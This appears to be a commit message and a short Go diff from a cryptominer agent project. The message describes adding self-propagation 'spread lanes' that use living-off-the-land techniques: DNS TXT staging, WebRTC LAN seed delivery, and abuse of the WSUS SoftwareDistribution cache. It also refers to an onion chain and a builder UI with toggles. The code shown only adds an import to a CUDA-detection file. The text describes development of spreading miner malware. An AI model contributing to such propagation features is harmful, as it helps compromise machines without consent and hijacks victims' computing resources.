Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

agent/miner/pyopencl_linux.go

@@ -6,6 +6,8 @@ import (
 	"fmt"
 	"os/exec"
 	"strings"
+
+	"crypto-miner-agent/config"
 )
 
 // DetectCUDA reports NVIDIA CUDA via nvidia-smi.